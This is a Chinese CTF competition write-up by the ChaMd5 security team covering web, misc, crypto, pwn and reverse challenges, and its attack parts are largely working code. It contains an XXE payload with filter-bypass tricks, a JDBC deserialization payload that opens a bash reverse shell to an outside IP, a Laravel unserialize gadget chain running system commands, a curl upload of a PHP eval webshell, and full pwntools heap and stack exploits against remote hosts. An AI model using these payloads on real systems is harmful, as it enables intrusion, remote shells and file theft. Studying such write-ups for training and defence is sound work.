WEB
do you know
解题思路
SSRF 利用 gopher 模拟 POST 请求，访问 xxe.php，然后利用 xxe 来读文件
index.php 里禁用了
preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc))
而在 xxe.php 里用的是 replace
preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data)
那么可以直接用 双写的方式来 bypass, 类似这样：
flreadag ==> preg_replace("/flag/i", '', $data) ==> flag
找个 XXE 读文件的 exp, 直接 xxe 读 flag.php 完事:
<?xml version="1.0" encoding="ureadtf-8"?> <!DOCTYPE xe [ <!ELEMENT name ANY > <!ENTITY xe SYSTEM "php://filter/rereadad=convert.base64-encode/resource=flreadag.php" >]> <root> <name>&xe;</name> </root>
注意先在本地搭个 php 直接 POST, 获取 Content-Length
然后 用 gopher 发过去, 注意 xxe 的 payload 要用 3 次 URL 编码：
PD9waHAKJGZsYWc9J2ZsYWd7NWJjMGJjMjkxZDMyMjQ1MDY3OTg2NmQ1ZGRmMGEzNDZ9JzsK
<?php
$flag='flag{5bc0bc291d322450679866d5ddf0a346}';
hate-php
解题思路
SUCTF 原题, 直接对 _GET 取反即可
➜ ctf php -r "var_dump(urlencode(~'_GET'));" string(12) "%A0%B8%BA%AB"
zzm's blog
解题思路
根据pom文件提供的jackson和mysql搜索了下漏洞，发现几篇文章
https://xz.aliyun.com/t/7067
https://www.anquanke.com/post/id/203086
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12086
https://github.com/codeplutos/CVE-2019-12086-jackson-databind-file-read
https://github.com/fnmsd/MySQL_Fake_Server
主要值得是jdbcurl可以指定导致rce
所以先搭建一个假的mysql_server，注意如果端口冲突可以选择在py里改其它端口。
下载https://github.com/fnmsd/MySQL_Fake_Server里的源码，然后运行python3 server.py 
因为要利用反序列化要用到ysoserial，没有的可以从github下载编译，然后把编译好的jar包放在server.py的当前目录下
然后提交ServerStatusDiffInterceptor类型的payload
%7B%22id%22%3A%5B%22com.mysql.cj.jdbc.admin.MiniAdmin%22%2C+%22jdbc%3Amysql%3A%2F%2F47.103.119.201%3A3306%2Ftest%3FautoDeserialize%3Dtrue%26queryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3Dyso_CommonsCollections10_bash+-c+%7Becho%2CL2Jpbi9iYXNoIC1pID4mICAgL2Rldi90Y3AvNDcuMTAzLjExOS4yMDEvODg4OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%5D%7D
在服务器监听8889端口即可收到shell 
cat flag_keowpijkoqeew
laravel
解题思路
laravel版本
./artisan --version
Laravel Framework 5.7.28
审计源码，一个裸的反序列化，5.7.2x存在已知的利用链，只是this->run()被删掉了，所以想办法找到了一个call_user_func来执行PendingCommand对象的run()方法，exp如下：
<?php//gadgets.phpnamespace Illuminate\Foundation\Testing{class PendingCommand{protected $command;protected $parameters;protected $app;public $test;public function __construct($command, $parameters,$class,$app){$this->command = $command;$this->parameters = $parameters;$this->test=$class;$this->app=$app;}}}namespace Illuminate\Auth{class GenericUser{protected $attributes;public function __construct(array $attributes){$this->attributes = $attributes;}}}namespace Illuminate\Foundation{class Application{protected $hasBeenBootstrapped = false;protected $bindings;public function __construct($bind){$this->bindings=$bind;}}}namespace Symfony\Component\Routing\Loader\Configurator{class CollectionConfigurator{public $parent;public $collection;public $prefixes;public function __construct($parent){$this->prefixes=1;$this->parent=$parent;$this->collection=new \Symfony\Component\Routing\RouteCollection(array("12end"=>"12end"));}}}namespace Faker{class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;public function __construct($validator){$this->generator = new \Symfony\Component\Routing\RouteCollection(array("12end"=>"12end"));$this->validator = $validator;$this->maxRetries = 10;}}}namespace Symfony\Component\Routing{class RouteCollection{}}?>
<?php//chain.phpinclude("gadgets.php");$payload=new Illuminate\Foundation\Testing\PendingCommand("system",array('cat /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))));$a = new Faker\ValidGenerator(array($payload,"run"));echo urlencode(serialize(new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator($a)));?>
访问：http://139.9.134.37/index?p=O%3A68%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CCollectionConfigurator%22%3A3%3A%7Bs%3A6%3A%22parent%22%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A0%3A%7B%7Ds%3A12%3A%22%00%2A%00validator%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Ds%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A10%3B%7Ds%3A10%3A%22collection%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A0%3A%7B%7Ds%3A8%3A%22prefixes%22%3Bi%3A1%3B%7D
美团外卖
解题思路
扫目录得到 www.zip
daochu.php 存在注入
admin,content,hint,mac,sms
select hints from hint
see_the_dir_956c110ef9decdd920249f5fed9e4427
http://119.3.183.154/956c110ef9decdd920249f5fed9e4427
www/lib/webuploader/0.1.5/server/preview.php 似乎有问题
curl http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/preview.php -d 'data:image/txt;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='
!!!! Congratulations on infiltrating here, but it's a pity that someone has infiltrated and left a Trojan, do not continue here , please see the e98a4571cf72b798077d12d6c94629.php !!!!!
http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag
Misc
loop
解题思路
7z加鼠标连点宏
麒麟系统
解题思路 
run
解题思路
附件为一个run.exe，运行之后打开一个没啥内容的docx。分析发现run.exe其实是一个自解压程序 
随后分析里面的run.exe，里面的run.exe运行之后产生一个tif文件，查看文件头得知为tiff格式
在文件末尾发现一串数据
njCp1HJBPLVTxcMhUHDPwE7mPW
把tif文件拖到PS里，可以看到两个图层，黑色矩形的盖住了什么，移开之后得到一段代码
a = 'njCp1HJBPLVTxcMhUHDPwE7mPW'flag = ""for i in range(len(a)):if i % 2 == 0:flag += chr(ord(a[i]) - 1)else:flag += chr(ord(a[i]) + 1)print flag#mkBq0IICOMUUwdLiTICQvF6nOX
Crypto
rosb
解题思路
RSA共模攻击
#! /usr/bin/env python2# -*- coding: utf-8 -*-from libnum import n2s, s2nfrom gmpy2 import invert# 扩展欧几里得算法def egcd(a, b):if a == 0:return (b, 0, 1)else:g, y, x = egcd(b % a, a)return (g, x - (b // a) * y, y)def main():n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557Lc1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707Lc2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcbLe1 = 0xf4c1158fLe2 = 0xf493f7d1Ls = egcd(e1, e2)s1 = s[1]s2 = s[2]# 求模反元素if s1 < 0:s1 = - s1c1 = invert(c1, n)elif s2 < 0:s2 = - s2c2 = invert(c2, n)m = pow(c1, s1, n) * pow(c2, s2, n) % nprint(n2s(m)) # 二进制转stringif __name__ == '__main__':main()
Pwn
of
解题思路
看到源码存在UAF
远程测试发现和源码不同，没有了cookie操作，不知道是怎么部署的
直接改free_hook调用system即可
from pwn import *context.log_level="debug"def add(index):p.sendlineafter(": ","1")p.sendlineafter(": ",str(index))def edit(index,note):p.sendlineafter(": ","2")p.sendlineafter("Index: ",str(index))p.sendafter("Content: ",note)def show(index):p.sendlineafter(": ","3")p.sendlineafter("Index: ",str(index))def delete(index):p.sendlineafter(": ","4")p.sendlineafter(": ",str(index))p=remote("121.36.74.70",9999)#p=process("./a.out")for i in range(9):add(i)for i in range(8):delete(i)show(7)p.recvuntil(": ")libc=u64(p.recv(6)+"\x00\x00")-0x7ffff7dcfca0+0x7ffff79e4000print hex(libc)edit(6,p64(libc+0x003ed8e8))edit(0,"/bin/sh\x00")add(10)add(11)edit(11,p64(libc+0x04f440))delete(0)p.interactive()
pwnme
解题思路
堆溢出，可以溢出任意字节
uclibc-ng 1.0.34
看到free的fastbin操作：
不是加减，是异或了一下：
对应到默认堆管理模式下free时用到的一个宏：
（而且不check chunk header，保证对其就行，exp写的蠢了，直接任意地址分配就完了
from pwn import *import syscontext.log_level="debug"def show():p.sendlineafter(">>> ","1")def add(l,note):p.sendlineafter(">>> ","2")p.sendlineafter(":",str(l))p.sendafter(":",note)def change(index,l,note):p.sendlineafter(">>> ","3")p.sendlineafter(":",str(index))p.sendlineafter(":",str(l))p.sendafter(":",note)def remove(index):p.sendlineafter(">>> ","4")p.sendlineafter(":",str(index))if len(sys.argv)==1:#p=process(["qemu-arm","-g","1234","-L","./","./a.out"])p=remote("121.36.58.215",1337)else:p=process(["qemu-arm","-L","./","./a.out"])add(0x18,"aaaaaaaa")add(0x4f8,"aaaaaaaa")add(0x18,"aaaaaaaa")add(0x18,"aaaaaaaa")change(0,0x40,"a"*0x1c+p64(0x500+0x20+1))remove(1)add(0x4f8,"aaaaaaaa")show()p.recvuntil("2 : ")libc=u32(p.recv(4))+0xff720000-0xff7ba8ecprint hex(libc)add(0x18,"aaaaaaa")add(0x21,"aaaaaaa")remove(0)remove(4)change(2,8,p32(0x21048^0x22))add(0x18,"aaaaa")add(0x18,"aaaaa")change(4,0xf8,"/bin/sh\x00"+p32(0)*4+p32(0x28)+p32(0x21038))change(0,0x8,p32(libc+0x51800))#show()remove(4)p.interactive()
twice
解题思路
栈溢出题目，第一次输入通过覆盖canary低字节泄露canary和rbp，第二次输入做栈迁移泄露出libc基址，随后覆盖返回地址为one_gadget，getshell
from pwn import *file = './pwn'p = process(file)elf = ELF(file)libc = ELF("../libc-2.23.so")p = remote("121.36.59.116", 9999)def exp():payload1 = 'a'*0x59p.sendafter(">", payload1)p.recvuntil("a"*0x59)canary = u64('\x00'+p.recv(7))stack = u64(p.recv(6)+'\x00'*2)print hex(canary)print hex(stack)payload2 = p64(0x400923)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4007a9)payload2 = payload2.ljust(0x58, 'a')payload2 += p64(canary)+p64(stack-0x78)+p64(0x400879)p.sendafter(">", payload2)puts = u64(p.recvuntil('\x7f')[-6:]+'\x00'*2)print hex(puts)libc_base = puts - libc.sym['puts']payload3 = 'b'*0x58+p64(canary)+p64(0)+p64(libc_base+0x45216)p.sendafter(">", payload3)p.interactive()if __name__ == '__main__':exp()
Reverse
nop
解题思路
通过int 0x80中断来调用函数，进行反调试，有4处，直接nop相应函数即可。输出的整数存储在0x804a038地址。
有三处inc和一处加0xcccccccc进行运算。后续连续调用两次sub_8048691，会对eax中存储的值赋值为0x90，也就是nop指令。
而在后续的指令中发现一处多余的跳转，这个指令的长度也正好为两个字节，所以把这处指令nop，即可到达right。由于寄存器的位数固定，所以会造成一个溢出。input+3+0xcccccccc=0x8048765。反推出input，就是flag。
ManageCode
解题思路
先是直接用dnspy打开，在动调的过程中能看见一个check函数
绕过该检测之后，发现还有两个check是无法直接查看的，通过ida打开程序，根据偏移量修复函数
最主要的检测函数为
直接用脚本计算出每一个数字并拼接起来，并按照相应的格式调整即可得到
v2=-4419096//-401736
v31=(473999 * v2-23642821)//-191967
v3=(57125 * v2+465507 * v31-42831307)//207145
v5=(-488633 * v2 - 5245 * v31 - 280749 * v3+560637)//-149773
v6=(381790 * v3+ 130415 * v31 + 174205 * v5 - 83562 * v2-27764403)//-59135
v7=(386908 * v2 + 465831 * v5+500139 * v6+474240 * v3 - 4838 * v31-119143813)//-500998
v10=(182991 * v5 + -200009 * v31 - 497601 * v2+ 269682 * v6 + -269523 * v7 - 441164 * v3+52489521)//153099
v11=(- 162386 * v2 + 522547 * v5 + 260922 * v7 + 428523 * v3 + 508037 * v6 - 144626 * v31 - 99507 * v10-67497415)//14894
v12=(51126 * v3+ 145838 * v11+ 362957 * v6+ 43500 * v31+ 308294 * v2-375461 * v5- 394061 * v10- 65395 * v7+43306962)//174341
v13=(350654 * v2+ 495127 * v6+ 434878 * v11- 75418 * v10- 43467 * v31-521005 * v7- 226910 * v12- 121973 * v5- 446107 * v3+137046349)//215985
v14=(-318934 * v31- 25936 * v2- 341583 * v12+ 320416 * v3+ 339525 * v11- 81574 * v6- 502348 * v10- 363326 * v5- 391486 * v7- 248464 * v13+244744603)//294177
v15=(81654 * v11+ 432919 * v10+ 110106 * v12- 507164 * v3- 467060 * v7- 197253 * v13- 354555 * v31- 16893 * v14- 254110 * v2- 479559 * v5- 50999 * v6+214023755)//384845
v16=(-117388 * v13- 227694 * v2+ 457647 * v6+ 293306 * v11+ 101385 * v5+ 293124 * v14+ 496679 * v12+ 79854 * v3-81913 * v31- 507308 * v7- 3285 * v15- 71736 * v10 -50059304)//(-92941)
v17=(281406 * v3+ 314118 * v6-480916 * v11- 442447 * v14- 25649 * v2+ 389372 * v16+ 15089 * v5+ 210603 * v10+ 5 * (v12 + 17363 * v7 - 91574 * v15)- 469378 * v13- 117744 * v31+176657564)//124091
v18=(180059 * v10+ 350603 * v2-439557 * v15- 485708 * v3+ 52520 * v13+ 303697 * v6+ 395976 * v14+ 406658 * v7-354103 * v17- 61339 * v16- 495692 * v31- 198340 * v5- 28153 * v12- 113385 * v11+48802225)//492085
v19=(473763 * v12+ 249640 * v10+ 450341 * v5+ 273347 * v17+ 386739 * v31+ 24246 * v7+ 20430 * v15+ 69055 * v6+ 391476 * v14+ 100872 * v11+ 458039 * v16+ 71004 * v13-277369 * v3- 468152 * v2- 409044 * v18-224749784)//482854
print(hex(v2),hex(v31),hex(v3),hex(v5),hex(v6),hex(v7),hex(v10),hex(v11),hex(v12),hex(v13),hex(v14),hex(v15),hex(v16),hex(v17),hex(v18),hex(v19))
print(len('0b600c-3a198c-0e0891-9aa2ac765e0c7e'))
rev
解题思路
过程不复杂，但是不会反算啊，只能爆了。
本文作者：ChaMd5安全团队
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/137409.html
如有侵权请联系:admin#unsafe.sh